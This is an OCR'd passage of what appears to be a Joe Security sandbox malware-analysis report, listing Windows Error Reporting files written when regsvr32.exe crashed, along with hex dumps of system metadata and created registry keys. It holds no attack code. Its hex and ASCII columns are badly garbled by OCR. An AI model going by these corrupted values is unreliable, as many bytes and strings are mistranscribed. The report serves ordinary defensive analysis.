00 3e 00 41 00 32 00
4100 42 00 3500 32
00 36 00 41 00 2d 00
44 00 33 00 38 00 44
00 2d 00 34 00 46 00
430039 00 2d 00 38
00 42 00 41 00 30 00
2d 00 45 00 33 00 34
00 42 00 38 00 44 00
36 00 33 00 35 00 34
00 45 00 38 00 3c 00
2f 00 4d 00 49 00 44
00 3e 00

0d 00 0a 00

09 00

3¢ 005300790073
00 74 00 65 00 6d 00
4d 00 61 00 6e 00 75
00 66 00 61 00 63 00
74007500 72 00 65
00 72 00 3e 00 75 00
69 00 6b 00 68 00 67
00 64 00 2c 00 20 00
49 00 6e 00 63 00 2e
00 3c 00 2f 00 53 00
79 00 73 00 74 00 65
00 6d 00 4d 00 61 00
6e 00 75 00 66 00 61
00 63 00 74 00 75 00
72 006500 7200 3e
00

0d 00 0a 00

09 00

Ascii
<.P.aram.e.terl1>10..
0..1.7.1.3.4...2...0...0...2.
5.6..4.8.</P.aram.e.t.e.
r.1.>.

<./.D.y.n.am.i.c.S.i.g.n.a.t.
u.r.e.s.>.

<.S.y.s.te.m.l.nfoorm.a.t.
i.o.n.>.

<M.L.D.>.A2.AB.5.26.A.-
.D.3.8.D.-.4.F.C.9.-
.8.B.A.0.-.E.
3.4.B.8.D.6.3.5.4.E.8.
<./.M.I.D.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

<.S.y.s.te.m.M.a.n.u.f.a.c.t success or wait

.ur.er>.uikh.gd.,. .l.n
c..<./.S.y.s.te.m.M.a.n.u.f.
ac.ture.r>.

success or wait

success or wait

Count Address

6

1

2

1

1

2

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021

Offset Length

unknown 96

unknown 4

unknown 2

unknown 120

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 102

unknown 4

unknown 2

Value

3¢ 0053 007900 73
00 74 00 65 00 6d 00
50 00 72 00 6f 00 64
00 75 00 63 00 74 00
4e 00 61 00 6d 00 65
00 3e 00 75 00 69 00
6b 00 68 00 67 00 64
00 37 00 2c 00 31 00
3c 00 2f 00 53 00 79
00 73 00 74 00 65 00
6d 00 50 00 72 00 6f
00 64 00 75 00 63 00
7400 4e 00 61 00 6d
00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 42 00 49 00 4f
00 53 00 56 00 65 00
72 00 73 00 69 00 6f
00 6e 00 3e 00 56 00
4d 00 57 00 37 00 31
00 2e 00 30 00 30 00
56 00 2e 00 31 00 33
00 39 00 38 00 39 00
34 00 3500 34 00 2e
00 42 00 36 00 34 00
2e 00 31 00 39 00 30
00 36 00 31 00 39 00
30 00 3500 33 00 38
00 3c 00 2f 00 42 00
49 00 4f 00 53 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 3e
00

0d 00 0a 00

09 00

3c 00 4f 00 53 00 49
00 6e 00 73 00 74 00
61 00 6¢ 00 6¢ 00 44
00 61 00 74 00 65 00
3e 00 31 00 35 00 36
00 37 00 32 00 35 00
39 00 34 00 33 00 35
00 3c 00 2f 00 4f 00
53 00 49 00 6e 00 73
00 74 00 61 00 6¢ 00
6¢ 00 44 00 61 00 74
00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 4f 00 53 00 49
00 6e 00 73 00 74 00
61 00 6¢ 00 6¢ 00 54
00 69 00 6d 00 65 00
3e 00 32 00 30 00 31
00 39 00 2d 00 30 00
36 00 2d 00 32 00 37
00 54 00 31 00 34 00
3a 00 34 00 39 00 3a
00 32 00 31 00 5a 00
3c 00 2f 00 4f 00 53
00 49 00 6e 00 73 00
74 00 61 00 6¢ 00 6¢
00 54 00 69 00 6d 00
65 00 3e 00

0d 00 0a 00

09 00

Ascii

<.S.y.s.te.m.P.r.o.d.u.c.t.N
.a.m.e.>.u.i.k.h.g.d.7.,.1.
<.
S.y.s.t.e.m.P.r.o.d.u.c.t.N.a
.m.e.>.

<.B.L.O.S.V.e.rs.i.o.n.>.V.
M.
W.7.1...0.0.V...1.3.9.8.9.4.
5.
4..B.6.4..1.9.0.6.1.9.0.5.3
.8.
<./.B.l.O.S.V.e.r.s.i.o.n.>.

<.0.S.lnstallD.ate.>.
1.5.6.7.2.5.9.4.3.5.
<./.0.S.l.
ns.tallD.ate.>.

<.0.S.l.nstallTim.e>.
2.0.1.9.-.0.6.-.2.7.T.1.4.:.4.
9.:.2.1.Z</.0.S.l.n.s.t.al.

. T.im.e.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address Symbol
1 6EF1497A unknown
1 6EF1497A unknown
2 6EF1497A unknown
1 6EF1497A unknown
1 6EF1497A unknown
2 6EF1497A unknown
1 6EF1497A unknown
1 6EF1497A unknown
2 6EF1497A unknown
1 6EF1497A unknown
1 6EF1497A unknown
2 6EF1497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

70

40

46

3c 00 54 00 69 00 6d
00 65 00 5a 00 6f 00
6e 00 65 00 42 00 69
00 61 00 73 00 3e 00
2d 00 30 00 31 00 3a
00 30 00 30 00 3c 00
2f 00 54 00 69 00 6d
00 65 00 5a 00 6f 00
6e 00 65 00 42 00 69
00 61 00 73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 53 00 79
00 73 00 74 00 65 00
6d 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 00 53 00 65 00 63
00 75 00 72 00 65 00
42 00 6f 00 6f 00 74
00 53 00 74 00 61 00
74 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 45 00 46
00 49 00 53 00 65 00
63 00 75 00 72 00 65
00 42 00 6f 00 6f 00
74 00 45 00 6e 00 61
00 62 00 6¢ 00 65 00
64 00 3e 00 30 00 3c
00 2f 00 55 00 45 00
46 00 49 00 53 00 65
00 63 00 75 00 72 00
65 00 42 00 6f 00 6f
00 74 00 45 00 6e 00
61 00 62 00 6¢ 00 65
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 53 00 65

00 63 00 75 00 72 00
65 00 42 00 6f 00 6f

00 74 00 53 00 74 00
61 00 74 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 49 00 6e 00 74
00 65 00 67 00 72 00
61 00 74 00 6f 00 72
00 3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 67 00 73 00 3e 00
30 00 30 00 30 00 30
00 30 00 30 00 30 00
42 00 3c 00 2f 00 46
00 6¢ 00 61 00 67 00
73 00 3e 00

0d 00 0a 00

09 00

Ascii
<.T..m.e.Z.o.n.e.B.i.a.s.>.-
.0.1.:.0.0.
<./T..m.e.Z.o.n.e.
B.i.a.s.>.

<./.S.y.s.t.e.m.l.n.f.o.rm.a.
tio.n.>.

<.S.e.c.ure.B.o.0.t.Sta.t.
e.>.

<U.E.F.l.S.e.cur.e.B.o.0.t
.E.n.a.b.l.e.d.>.0.
</.U.E.F.L
S.e.c.ur.e.B.o.o.t.E.n.ab.l
e.d.>.

<./.S.e.c.ur.e.B.o.0.t.Sta.
te>.

<.l.nte.g.rato.r>.

<.F.l.a.g.s.>.0.0.0.0.0.0.0.
B.<./F.la.g.s.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

1

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021

Offset

unknown 26

unknown 4

unknown 2

unknown 100

unknown 4

unknown 2

unknown 262

unknown 4

unknown 2

unknown 20

unknown 4

unknown 2

unknown 38

unknown 4

Length Value

3c 00 2f 00 49 00 6e
00 74 00 65 00 67 00
7200 61 00 74 00 6f
00 72 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 54 00 69 00 6d
00 65 00 6¢ 00 69 00
6e 00 65 00 73 00 20
00 42 00 61 00 73 00
65 00 54 00 69 00 6d
00 65 00 3d 00 22 00
32 003000320031
00 2d 00 30 00 35 00
2d 00 31 00 32 00 54
00 31 00 31 00 3a 00
33 00 34 00 3a 00 31
00 31 00 5a 00 22 00
3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 002000410073
00 49 00 64 00 3d 00
2200 33 00 38 00 36
00 22 00 20 00 50 00
49 00 44 00 3d 00 22
00 34 00 37 00 38 00
30 00 22 00 20 00 55
00 70 00 74 00 69 00
6d 00 65 00 4d 00 53
00 3d 00 22 00 31 00
33 00 39 00 30 00 22
00 20 00 54 00 69 00
6d 00 65 00 53 00 69
00 6e 00 63 00 65 00
43 00 72 00 65 00 61
00 74 00 69 00 6f 00
6e 00 4d 00 53 00 3d
0022 00 31 00 33 00
39 00 30 00 22 00 20
0053 00 7500 73 00
70 00 65 00 6e 00 64
00 65 00 64 00 4d 00
53 00 3d 00 22 00 30
00 22 00 20 00 48 00
61 00 6e 00 67 00 43
00 6f 00 75 00 6e 00
7400 3d 00 22 00 30
00 22 00 20 00 47 00
68 00 6f 00 73 00 74
00 43 00 6f 00 75 00
6e 00 74 00 3d 00 22
00 30 00 22 00 20 00
43 007200610073
00 68 00 65 00 64 00
3d 00 22

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 54 00 69
00 6d 00 65 00 6¢ 00
69 00 6e 00 65 00 73
00 3e 00

0d 00 0a 00

Ascii

</l.nte.g.rato.r>.

<.P.ro.ce.s.s.T.i.m.e.li.n.

es.
.B.a.s.e.T.im.e.=.".2.0.

210Dl 2 TS B4k,

ANAZ

<.P.r.o.c.es.s. .As.ld="
'.4.7.8.0.".
.U.p.ti.m.e.M.S.=.".1.3.9.0.
"..T..m.e.S..n.ce.Cre.a.
ti.0.n.M.S.=.".1.3.9.0.".

3.8.6.". .P.I.D.=.

u.s.p.e.n.d.e.dM.S.=
.H.a.n.g.C.o.u.n.t=
.G.h.o.s.t.C.o.u.nt=.
.C.ras.h.e.d.="

<./.P.ro.ce.s.s.>.

S

<./.P.ro.c.e.s.s.T.i.m.e.li

n.e.s.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

1

1

1

1

1

2

1

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c005200650070 <.R.e.p.o.r.tlnform.at success orwait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00 6f00 72007400 i.o.n.>.

49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 98 3c004700750069 <.G.u.i.d>.1.6.c.6.0.f.b.6.-. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00640032 003100 f2.9.a.-4.0.a.a-.aad.e.-.

36 006300360030 7.8.0.c.9.c.9.6..7.9.1.
0066 0062003600 <./G.u.id.>.
2d 00 66 00 32 00 39

00 61 00 2d 00 34 00

3000 61 00 61 00 2d

00 61 00 61 00 39 00

65 00 2d 00 37 00 38

00 30 00 63 00 39 00

63 00 39 00 36 00 65

00 37 00 39 00 31 00

3c 00 2f 00 47 00 75

00 69 00 64 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 98 3c004300720065 <.Cr.e.atio.n.T.i.m.e.>2. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00610074006900 0.2.1.-.0.5.-.1.2.T.1.1.:.3.4.

6f 00 6e 00540069 :1.1.Z</C.re.atio.nT.
00 6d 00 65 00 3e 00 i.m.e.>.
3200 30 00 32 00 31

00 2d 00 30 00 35 00

2d 00 31 00 32 00 54

00 31 00 31 00 3a 00

3300 34 00 3a 00 31

00 31 00 5a 00 3c 00

2f 00 43 00 72 00 65

00 61 00 74 00 69 00

6f 00 6e 00 54 00 69

00 6d 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c002f00520065 <..R.e.p.ortlnfo.rma. successorwait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00 70 00 600 7200 t.i.0.n.>.

74 00 49 00 6e 00 66

00 6f 00 72 00 6d 00

61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 40 3c002f00570045 <./W.E.R.R.e.p.o.rt.M.e.t. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00520052006500 a.d.ata>.

7000 6f 00 72 00 74
00 4d 00 65 00 74 00
61 00 64 00 61 00 74
00 61 00 3e 00
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER640D.tmp.xml

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_re
gsvr32.exe_68e15ffc7f9f5ac199e
af956335a58761f4230_7a325c51_169b688f\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_re
gsvr32.exe_68e15ffc7f9f5ac199e
af956335a58761f4230_7a325c51_169b688f\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_re
gsvr32.exe_68e15ffc7f9f5ac199e
af956335a58761f4230_7a325c51_169b688f\Report.wer

Registry Activities

Key Created

Key Path

Offset
unknown 4621

unknown 2

unknown 22

unknown 48

Length Value

3c 3f 78 6d 6¢ 20 76

65 72 73 69 6f 6e 3d

22 31 2e 30 22 20 65
6e 63 6f 64 69 6e 67
3d 22 55 54 46 2d 38
222073 74 61 6e 64
61 6¢ 6f 6e 65 3d 22

79 65 73 22 3f 3e 0d
0a 3c 72 6571 20 76
6572 3d 2232 22 3e
0d 0a 20 20 3c 74 6¢
6d 3e 0d Oa 20 20 20
203c 737263 3e 0d
0a 20 20 20 20 20 20
3c 64 65 73 63 3e 0d
0a 20 20 20 20 20 20
20 20 3c 6d 61 63 68
3e 0d 0a 20 20 20 20
2020 20 20 20 20 3c
6f 73 3e 0d 0a 20 20

2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 61 6a 22 20 76
61 6¢ 3d 22 31 30 22
20 2f 3e 0d Oa 20 20
2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 69 6e 22 20 76
61 6¢ 3d 22 30 22 20
2f 3e 0d Oa 20 20 20
2020 20 20 20 20 20
2020 3c 617267 20
6e 6d 3d 22 76 65 72
62 6¢ 64 22 20 76 61
6¢c 3d 22

ff fe

56 00 6500 72 00 73
00 69 00 6f 00 6e 00
3d 00 31 00 0d 00 Oa
00

4d 00 65 00 74 00 61
00 64 00 61 00 74 00
61 00 48 00 61 00 73
00 68 00 3d 00 2d 00
310037003300 32
00 37 00 33 00 37 00
3100 34 00 35 00

\REGISTRY\A\{f431d61b-162e-1798-f18c-19af3e2fe896}\Root\InventoryApplicationFile\PermissionsCheckTestKey

\REGISTRY\A\{f431d61b-162e-1798-f18c-19af3e2fe896}\Root\InventoryApplicationFile\PermissionsCheckTestKey

Source

Ascii Completion Count Address Symbol
<?xml version="1.0" success or wait 1 6EF1497A unknown
encoding="UTF-8"
standalone="yes"?>..<req
ver="2">. <tlm>.. <src>
<desc>..
<mach>.. <0s>..
<arg nm="vermaj" val="10"
/>.. <arg
nm="vermin" val="0" />..
<arg nm="verbld" val="
success or wait 1 6EF1497A unknown
V.ers.ion=1... success or wait 170  6EF1497A unknown
M.e.ta.d.ata.H.as.h.=.- success or wait 1 6EF1497A unknown
1.7.3.2.7.3.7.1.45.
Source
Completion Count Address Symbol
success or wait 1 6EF336BF unknown
success or wait 1 6EF336BF unknown
success or wait 1 6EF143D1 unknown

\REGISTRY\A\{f431d61b-162e-1798-f18c-19af3e2fe896}\Root\InventoryApplicationFile\PermissionsCheckTestKey

Disassembly

Code Analysis
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